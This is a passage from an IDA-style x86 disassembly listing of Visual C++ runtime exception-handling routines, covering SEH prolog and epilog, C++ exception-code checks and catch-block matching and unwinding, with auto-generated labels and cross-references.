		call	ds:dword_41F17C
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jnz	short loc_418639


loc_418635:				; CODE XREF: sub_4182E4+31Ej
		xor	esi, esi
		jmp	short loc_41865F
; ---------------------------------------------------------------------------


loc_418639:				; CODE XREF: sub_4182E4+34Fj
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		lea	eax, [ebp+var_40]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+var_3C]
		call	sub_41CB90
		add	esp, 18h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		jmp	short loc_41865F
; ---------------------------------------------------------------------------


loc_41865C:				; CODE XREF: sub_4182E4+2D0j
		mov	esi, [ebp+var_48]


loc_41865F:				; CODE XREF: sub_4182E4+353j
					; sub_4182E4+376j
		cmp	[ebp+var_38], ebx
		jz	short loc_418687
		push	edi
		call	sub_412FE4
		pop	ecx
		jmp	short loc_418687
; ---------------------------------------------------------------------------


loc_41866D:				; CODE XREF: sub_4182E4+295j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41F17C
		mov	esi, eax


loc_418687:				; CODE XREF: sub_4182E4+37Ej
					; sub_4182E4+387j
		cmp	[ebp+var_34], ebx
		jz	short loc_418695
		push	[ebp+var_34]
		call	sub_412FE4
		pop	ecx


loc_418695:				; CODE XREF: sub_4182E4+3A6j
		mov	eax, esi


loc_418697:				; CODE XREF: sub_4182E4+253j
					; sub_4182E4+28Dj
		lea	esp, [ebp-54h]
		call	__SEH_epilog
		retn
sub_4182E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186A0	proc near		; CODE XREF: sub_418C87+138p

arg_0		= dword	ptr  4

		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4186EB
		lea	edx, [eax+8]
		cmp	byte ptr [edx],	0
		jz	short loc_4186EB
		mov	ecx, [edi+4]
		cmp	eax, ecx
		jz	short loc_4186C6
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41B4E0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4186E8


loc_4186C6:				; CODE XREF: sub_4186A0+14j
		test	byte ptr [edi],	2
		jz	short loc_4186D0
		test	byte ptr [esi],	8
		jz	short loc_4186E8


loc_4186D0:				; CODE XREF: sub_4186A0+29j
		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_4186DF
		test	byte ptr [esi],	1
		jz	short loc_4186E8


loc_4186DF:				; CODE XREF: sub_4186A0+38j
		test	al, 2
		jz	short loc_4186EB
		test	byte ptr [esi],	2
		jnz	short loc_4186EB


loc_4186E8:				; CODE XREF: sub_4186A0+24j
					; sub_4186A0+2Ej ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4186EB:				; CODE XREF: sub_4186A0+5j
					; sub_4186A0+Dj ...
		xor	eax, eax
		inc	eax
		retn
sub_4186A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186EF	proc near		; CODE XREF: sub_41870D+76p
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_4186FC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4186FC:				; CODE XREF: sub_4186EF+8j
		call	sub_415456
		and	dword ptr [eax+80h], 0
		jmp	sub_418F0B
sub_4186EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41870D	proc near		; CODE XREF: sub_41883D+117p
					; sub_418B60+31p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	10h
		push	offset stru_427EF8
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		call	sub_415456
		add	eax, 80h
		inc	dword ptr [eax]
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [ebp+arg_8]


loc_418735:				; CODE XREF: sub_41870D+8Fj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41879E
		cmp	esi, 0FFFFFFFFh
		jle	short loc_418744
		cmp	esi, [edi+4]
		jl	short loc_418749


loc_418744:				; CODE XREF: sub_41870D+30j
		call	sub_418F40


loc_418749:				; CODE XREF: sub_41870D+35j
		mov	eax, esi
		shl	eax, 3
		mov	ecx, [edi+8]
		add	ecx, eax
		mov	esi, [ecx]
		mov	[ebp+var_20], esi
		mov	[ebp+ms_exc.disabled], 1
		cmp	dword ptr [ecx+4], 0
		jz	short loc_41877A
		mov	[ebx+8], esi
		push	103h
		push	ebx
		mov	ecx, [edi+8]
		push	dword ptr [ecx+eax+4]
		call	sub_418F70


loc_41877A:				; CODE XREF: sub_41870D+56j
		and	[ebp+ms_exc.disabled], 0
		jmp	short loc_418799
; ---------------------------------------------------------------------------


loc_418780:				; DATA XREF: .rdata:00427F08o
		mov	eax, [ebp+ms_exc.exc_ptr]
		call	sub_4186EF
		retn
; ---------------------------------------------------------------------------


loc_418789:				; DATA XREF: .rdata:00427F0Co
		mov	esp, [ebp+ms_exc.old_esp]
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_20]


loc_418799:				; CODE XREF: sub_41870D+71j
		mov	[ebp+var_1C], esi
		jmp	short loc_418735
; ---------------------------------------------------------------------------


loc_41879E:				; CODE XREF: sub_41870D+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4187C0
		cmp	esi, [ebp+arg_C]
		jz	short loc_4187B1
		call	sub_418F40


loc_4187B1:				; CODE XREF: sub_41870D+9Dj
		mov	[ebx+8], esi
		call	__SEH_epilog
		retn
sub_41870D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187BA	proc near		; DATA XREF: .rdata:stru_427EF8o
		mov	ebx, [ebp+8]
		mov	esi, [ebp-1Ch]
sub_4187BA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4187C0	proc near		; CODE XREF: sub_41870D+95p
		call	sub_415456
		cmp	dword ptr [eax+80h], 0
		jle	short locret_4187DA
		call	sub_415456
		add	eax, 80h
		dec	dword ptr [eax]

locret_4187DA:				; CODE XREF: sub_4187C0+Cj
		retn
sub_4187C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187DB	proc near		; CODE XREF: sub_418980+5Cp
					; sub_418C87+1A8p

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset stru_427F10
		call	__SEH_prolog
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_418809
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_418809
		and	[ebp+ms_exc.disabled], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_413ACE
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_418809:				; CODE XREF: sub_4187DB+11j
					; sub_4187DB+1Bj
		call	__SEH_epilog
		retn
sub_4187DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41880F	proc near		; DATA XREF: .rdata:stru_427F10o
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
sub_41880F	endp

; ---------------------------------------------------------------------------


loc_418818:				; DATA XREF: .rdata:stru_427F10o
		mov	esp, [ebp-18h]
		jmp	sub_418F0B

; =============== S U B	R O U T	I N E =======================================



sub_418820	proc near		; CODE XREF: sub_4189E4+7Cp
					; sub_4189E4+FBp ...
		mov	edx, [ecx+4]
		push	esi
		mov	esi, eax
		mov	eax, [ecx]
		add	eax, esi
		test	edx, edx
		jl	short loc_41883B
		mov	ecx, [ecx+8]
		mov	esi, [edx+esi]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_41883B:				; CODE XREF: sub_418820+Cj
		pop	esi
		retn
sub_418820	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41883D	proc near		; CODE XREF: sub_418B60+52p

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 00418977 SIZE 00000003 BYTES

		push	40h
		push	offset stru_427F20
		call	__SEH_prolog
		mov	ebx, ecx
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], ebx
		and	[ebp+var_20], 0
		mov	eax, [edi-4]
		mov	[ebp+var_24], eax
		push	dword ptr [esi+18h]
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_413C6C
		pop	ecx
		pop	ecx
		mov	[ebp+var_30], eax
		call	sub_415456
		mov	eax, [eax+78h]
		mov	[ebp+var_34], eax
		call	sub_415456
		mov	eax, [eax+7Ch]
		mov	[ebp+var_38], eax
		call	sub_415456
		mov	[eax+78h], esi
		call	sub_415456
		mov	ecx, [ebp+arg_8]
		mov	[eax+7Ch], ecx
		and	[ebp+ms_exc.disabled], 0
		mov	[ebp+ms_exc.disabled], 1
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+arg_C]
		push	edi
		call	sub_413D01
		add	esp, 14h
		mov	[ebp+var_1C], eax
		and	[ebp+ms_exc.disabled], 0
		jmp	loc_418965
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_3C]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4188FA
		mov	eax, [ebp+var_3C]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4188FA
		mov	eax, [ebp+var_3C]
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4188FA
		mov	eax, [ebp+var_3C]
		cmp	dword ptr [eax+1Ch], 0
		mov	[ebp+var_40], 1
		jz	short loc_418901


loc_4188FA:				; CODE XREF: sub_41883D+96j
					; sub_41883D+9Fj ...
		mov	[ebp+var_40], 0


loc_418901:				; CODE XREF: sub_41883D+BBj
		mov	eax, [ebp+var_40]
		retn
; ---------------------------------------------------------------------------


loc_418905:				; DATA XREF: .rdata:00427F34o
		mov	esp, [ebp+ms_exc.old_esp]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+8]
		mov	[ebp+var_44], eax
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+8]
		mov	[ebp+var_48], eax
		mov	edx, [ecx+10h]
		mov	[ebp+var_4C], edx
		xor	edx, edx


loc_418922:				; CODE XREF: sub_41883D+13Bj
		mov	[ebp+var_50], edx
		cmp	edx, [ecx+0Ch]
		jnb	short loc_41894E
		lea	esi, [edx+edx*4]
		mov	ebx, [ebp+var_4C]
		lea	esi, [ebx+esi*4]
		mov	ebx, [esi+4]
		cmp	eax, ebx
		jle	short loc_418977
		cmp	eax, [esi+8]
		jg	short loc_418977
		lea	eax, [ebx+1]
		mov	[ebp+var_48], eax
		mov	edx, [ebp+var_44]
		mov	eax, [edx+eax*8]
		mov	[ebp+var_48], eax


loc_41894E:				; CODE XREF: sub_41883D+EBj
		push	eax
		push	ecx
		xor	esi, esi
		push	esi
		push	edi
		call	sub_41870D
		add	esp, 10h
		mov	[ebp+var_1C], esi
		mov	[ebp+ms_exc.disabled], esi
		mov	esi, [ebp+arg_0]


loc_418965:				; CODE XREF: sub_41883D+80j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_418980
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_41883D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41883D


loc_418977:				; CODE XREF: sub_41883D+FBj
					; sub_41883D+100j
		inc	edx
		jmp	short loc_418922
; END OF FUNCTION CHUNK	FOR sub_41883D

; =============== S U B	R O U T	I N E =======================================



sub_41897A	proc near		; DATA XREF: .rdata:stru_427F20o
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+8]
sub_41897A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_418980	proc near		; CODE XREF: sub_41883D+12Cp
		mov	eax, [ebp-24h]
		mov	[edi-4], eax
		push	dword ptr [ebp-30h]
		call	sub_413CB5
		pop	ecx
		call	sub_415456
		mov	ecx, [ebp-34h]
		mov	[eax+78h], ecx
		call	sub_415456
		mov	ecx, [ebp-38h]
		mov	[eax+7Ch], ecx
		cmp	dword ptr [esi], 0E06D7363h
		jnz	short locret_4189E3
		cmp	dword ptr [esi+10h], 3
		jnz	short locret_4189E3
		cmp	dword ptr [esi+14h], 19930520h
		jnz	short locret_4189E3
		cmp	dword ptr [ebp-20h], 0
		jnz	short locret_4189E3
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_4189E3
		push	dword ptr [esi+18h]
		call	sub_413C94
		pop	ecx
		test	eax, eax
		jz	short locret_4189E3
		call	sub_413EAE
		push	eax
		push	esi
		call	sub_4187DB
		pop	ecx
		pop	ecx

locret_4189E3:				; CODE XREF: sub_418980+2Bj
					; sub_418980+31j ...
		retn
sub_418980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4189E4	proc near		; CODE XREF: sub_418B60+Dp

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	8
		push	offset stru_427F38
		call	__SEH_prolog
		mov	esi, ecx
		mov	eax, [ebp+arg_4]
		mov	edi, edx
		mov	ebx, [ebp+arg_0]
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	loc_418B4E
		cmp	byte ptr [ecx+8], 0
		jz	loc_418B4E
		mov	ecx, [eax+8]
		test	ecx, ecx
		jnz	short loc_418A20
		test	byte ptr [eax+3], 80h
		jz	loc_418B4E


loc_418A20:				; CODE XREF: sub_4189E4+30j
		mov	eax, [eax]
		test	eax, eax
		js	short loc_418A2A
		lea	edi, [ecx+edi+0Ch]


loc_418A2A:				; CODE XREF: sub_4189E4+40j
		and	[ebp+ms_exc.disabled], 0
		push	1
		push	dword ptr [ebx+18h]
		test	al, 8
		jz	short loc_418A6C
		call	sub_41CDC5
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_418B45
		push	1
		push	edi
		call	sub_41CDE1
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_418B45
		mov	eax, [ebx+18h]
		mov	[edi], eax


loc_418A5D:				; CODE XREF: sub_4189E4+D1j
		lea	ecx, [esi+8]
		call	sub_418820
		mov	[edi], eax
		jmp	loc_418B4A
; ---------------------------------------------------------------------------


loc_418A6C:				; CODE XREF: sub_4189E4+51j
		test	byte ptr [esi],	1
		jz	short loc_418AB7
		call	sub_41CDC5
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_418B45
		push	1
		push	edi
		call	sub_41CDE1
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_418B45
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41BC70
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_418B4A
		mov	eax, [edi]
		test	eax, eax
		jz	loc_418B4A
		jmp	short loc_418A5D
; ---------------------------------------------------------------------------


loc_418AB7:				; CODE XREF: sub_4189E4+8Bj
		cmp	dword ptr [esi+18h], 0
		jnz	short loc_418AF0
		call	sub_41CDC5
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_418B45
		push	1
		push	edi
		call	sub_41CDE1
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_418B45
		push	dword ptr [esi+14h]
		lea	ecx, [esi+8]
		mov	eax, [ebx+18h]
		call	sub_418820
		push	eax
		push	edi
		call	sub_41BC70
		add	esp, 0Ch
		jmp	short loc_418B4A
; ---------------------------------------------------------------------------


loc_418AF0:				; CODE XREF: sub_4189E4+D7j
		call	sub_41CDC5
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_418B45
		push	1
		push	edi
		call	sub_41CDE1
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_418B45
		push	dword ptr [esi+18h]
		call	sub_41CDFD
		pop	ecx
		test	eax, eax
		jz	short loc_418B45
		mov	eax, [ebx+18h]
		lea	ecx, [esi+8]
		test	byte ptr [esi],	4
		jz	short loc_418B34
		push	1
		call	sub_418820
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_413ACE
		jmp	short loc_418B4A
; ---------------------------------------------------------------------------


loc_418B34:				; CODE XREF: sub_4189E4+13Bj
		call	sub_418820
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_413ACE
		jmp	short loc_418B4A
; ---------------------------------------------------------------------------


loc_418B45:				; CODE XREF: sub_4189E4+5Cj
					; sub_4189E4+6Ej ...
		call	sub_418F40


loc_418B4A:				; CODE XREF: sub_4189E4+83j
					; sub_4189E4+C1j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_418B4E:				; CODE XREF: sub_4189E4+1Bj
					; sub_4189E4+25j ...
		call	__SEH_epilog
		retn
sub_4189E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B54	proc near		; DATA XREF: .rdata:stru_427F38o
		xor	eax, eax
		inc	eax
		retn
sub_418B54	endp

; ---------------------------------------------------------------------------


loc_418B58:				; DATA XREF: .rdata:stru_427F38o
		mov	esp, [ebp-18h]
		jmp	sub_418F0B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B60	proc near		; CODE XREF: sub_418BC7+A2p
					; sub_418C87+17Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		test	ecx, ecx
		jz	short loc_418B74
		push	ebx
		push	[ebp+arg_0]
		mov	edx, esi
		call	sub_4189E4
		pop	ecx
		pop	ecx


loc_418B74:				; CODE XREF: sub_418B60+5j
		cmp	[ebp+arg_14], 0
		push	[ebp+arg_0]
		jnz	short loc_418B80
		push	esi
		jmp	short loc_418B83
; ---------------------------------------------------------------------------


loc_418B80:				; CODE XREF: sub_418B60+1Bj
		push	[ebp+arg_14]


loc_418B83:				; CODE XREF: sub_418B60+1Ej
		call	sub_413AD5
		push	dword ptr [edi]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	esi
		call	sub_41870D
		mov	eax, [edi+4]
		push	100h
		push	[ebp+arg_10]
		inc	eax
		push	[ebp+arg_C]
		mov	[esi+8], eax
		push	[ebp+arg_4]
		mov	ecx, [ebx+0Ch]
		push	esi
		push	[ebp+arg_0]
		call	sub_41883D
		add	esp, 28h
		test	eax, eax
		jz	short loc_418BC5
		push	esi
		push	eax
		call	sub_413A9E


loc_418BC5:				; CODE XREF: sub_418B60+5Cj
		pop	ebp
		retn
sub_418B60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BC7	proc near		; CODE XREF: sub_418C87+1D3p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi], 80000003h
		jz	loc_418C84
		call	sub_415456
		cmp	dword ptr [eax+74h], 0
		jz	short loc_418C06
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_413D52
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_418C84


loc_418C06:				; CODE XREF: sub_418BC7+1Ej
		mov	esi, [ebp+arg_14]
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_413BF2
		mov	edi, eax
		mov	eax, [ebp+var_4]
		add	esp, 14h
		cmp	eax, [ebp+var_8]
		jnb	short loc_418C83
		push	ebx


loc_418C2C:				; CODE XREF: sub_418BC7+B9j
		cmp	esi, [edi]
		jl	short loc_418C74
		cmp	esi, [edi+4]
		jg	short loc_418C74
		mov	eax, [edi+0Ch]
		mov	ecx, [edi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_418C4D
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_418C74


loc_418C4D:				; CODE XREF: sub_418BC7+7Ej
		mov	esi, [ebp+arg_4]
		push	1
		push	[ebp+arg_1C]
		lea	ebx, [eax-10h]
		push	[ebp+arg_18]
		xor	ecx, ecx
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_418B60
		mov	esi, [ebp+arg_14]
		add	esp, 1Ch


loc_418C74:				; CODE XREF: sub_418BC7+67j
					; sub_418BC7+6Cj ...
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		add	edi, 14h
		cmp	eax, [ebp+var_8]
		jb	short loc_418C2C
		pop	ebx


loc_418C83:				; CODE XREF: sub_418BC7+62j
		pop	edi


loc_418C84:				; CODE XREF: sub_418BC7+Fj
					; sub_418BC7+3Dj
		pop	esi
		leave
		retn
sub_418BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C87	proc near		; CODE XREF: sub_418E69+93p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		and	byte ptr [ebp+var_1C], 0
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		jl	short loc_418CA7
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_418CAC


loc_418CA7:				; CODE XREF: sub_418C87+16j
		call	sub_418F40


loc_418CAC:				; CODE XREF: sub_418C87+1Ej
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [ebx], 0E06D7363h
		push	esi
		push	edi
		jnz	loc_418E3E
		cmp	dword ptr [ebx+10h], 3
		mov	edi, 19930520h
		jnz	short loc_418D38
		cmp	[ebx+14h], edi
		jnz	short loc_418D38
		cmp	dword ptr [ebx+1Ch], 0
		jnz	short loc_418D38
		call	sub_415456
		cmp	dword ptr [eax+78h], 0
		jz	loc_418E36
		call	sub_415456
		mov	esi, [eax+78h]
		mov	[ebp+arg_0], esi
		call	sub_415456
		mov	eax, [eax+7Ch]
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_1C], 1
		call	sub_41CDC5
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_418D10
		call	sub_418F40


loc_418D10:				; CODE XREF: sub_418C87+82j
		cmp	dword ptr [esi], 0E06D7363h
		jnz	loc_418E3B
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_418D35
		cmp	[eax+14h], edi
		jnz	short loc_418D35
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_418D35
		call	sub_418F40


loc_418D35:				; CODE XREF: sub_418C87+9Cj
					; sub_418C87+A1j ...
		mov	ebx, [ebp+arg_0]


loc_418D38:				; CODE XREF: sub_418C87+40j
					; sub_418C87+45j ...
		cmp	dword ptr [ebx], 0E06D7363h
		jnz	loc_418E3E
		cmp	dword ptr [ebx+10h], 3
		jnz	loc_418E3E
		cmp	[ebx+14h], edi
		jnz	loc_418E3E
		mov	esi, [ebp+var_18]
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_413BF2
		mov	ecx, [ebp+var_8]
		add	esp, 14h
		cmp	ecx, [ebp+var_20]
		mov	[ebp+var_4], eax
		jnb	loc_418E26
		jmp	short loc_418D85
; ---------------------------------------------------------------------------


loc_418D82:				; CODE XREF: sub_418C87+199j
		mov	esi, [ebp+var_18]


loc_418D85:				; CODE XREF: sub_418C87+F9j
		cmp	[eax], esi
		jg	loc_418E11
		cmp	esi, [eax+4]
		jg	short loc_418E11
		mov	ecx, [eax+0Ch]
		test	ecx, ecx
		mov	esi, [eax+10h]
		mov	[ebp+var_14], ecx
		jle	short loc_418E11


loc_418D9F:				; CODE XREF: sub_418C87+15Bj
		mov	ecx, [ebx+1Ch]
		mov	ecx, [ecx+0Ch]
		lea	edx, [ecx+4]
		mov	ecx, [ecx]
		test	ecx, ecx
		mov	[ebp+var_C], edx
		mov	[ebp+var_10], ecx
		jle	short loc_418DD8


loc_418DB4:				; CODE XREF: sub_418C87+14Cj
		mov	eax, [ebp+var_C]
		mov	edi, [eax]
		push	dword ptr [ebx+1Ch]
		mov	[ebp+var_24], edi
		call	sub_4186A0
		test	eax, eax
		pop	ecx
		jnz	short loc_418DE6
		dec	[ebp+var_10]
		add	[ebp+var_C], 4
		cmp	[ebp+var_10], eax
		jg	short loc_418DB4
		mov	eax, [ebp+var_4]


loc_418DD8:				; CODE XREF: sub_418C87+12Bj
		dec	[ebp+var_14]
		add	esi, 10h
		cmp	[ebp+var_14], 0
		jg	short loc_418D9F
		jmp	short loc_418E11
; ---------------------------------------------------------------------------


loc_418DE6:				; CODE XREF: sub_418C87+140j
		push	[ebp+var_1C]
		mov	edi, [ebp+var_4]
		push	[ebp+arg_1C]
		mov	ecx, [ebp+var_24]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		mov	ebx, esi
		mov	esi, [ebp+arg_4]
		call	sub_418B60
		mov	ebx, [ebp+arg_0]
		add	esp, 1Ch
		mov	eax, edi


loc_418E11:				; CODE XREF: sub_418C87+100j
					; sub_418C87+109j ...
		inc	[ebp+var_8]
		mov	ecx, [ebp+var_8]
		add	eax, 14h
		cmp	ecx, [ebp+var_20]
		mov	[ebp+var_4], eax
		jb	loc_418D82


loc_418E26:				; CODE XREF: sub_418C87+F3j
		cmp	[ebp+arg_14], 0
		jz	short loc_418E36
		push	1
		push	ebx
		call	sub_4187DB
		pop	ecx
		pop	ecx


loc_418E36:				; CODE XREF: sub_418C87+56j
					; sub_418C87+1A3j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_418E3B:				; CODE XREF: sub_418C87+8Fj
		mov	ebx, [ebp+arg_0]


loc_418E3E:				; CODE XREF: sub_418C87+31j
					; sub_418C87+B7j ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_418E64
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_418BC7
		add	esp, 20h
		jmp	short loc_418E36
; ---------------------------------------------------------------------------


loc_418E64:				; CODE XREF: sub_418C87+1BBj
		jmp	sub_418F0B
sub_418C87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E69	proc near		; CODE XREF: .text:00413B48p
					; .text:00413B78p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		mov	eax, [esi]
		push	edi
		and	eax, 1FFFFFFFh
		mov	edi, 19930520h
		cmp	eax, edi
		jz	short loc_418E86
		call	sub_418F40


loc_418E86:				; CODE XREF: sub_418E69+16j
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_418EAE
		cmp	dword ptr [esi+4], 0
		jz	short loc_418F04
		cmp	[ebp+arg_14], 0
		jnz	short loc_418F04
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41870D
		add	esp, 10h
		jmp	short loc_418F04
; ---------------------------------------------------------------------------


loc_418EAE:				; CODE XREF: sub_418E69+24j
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_418F04
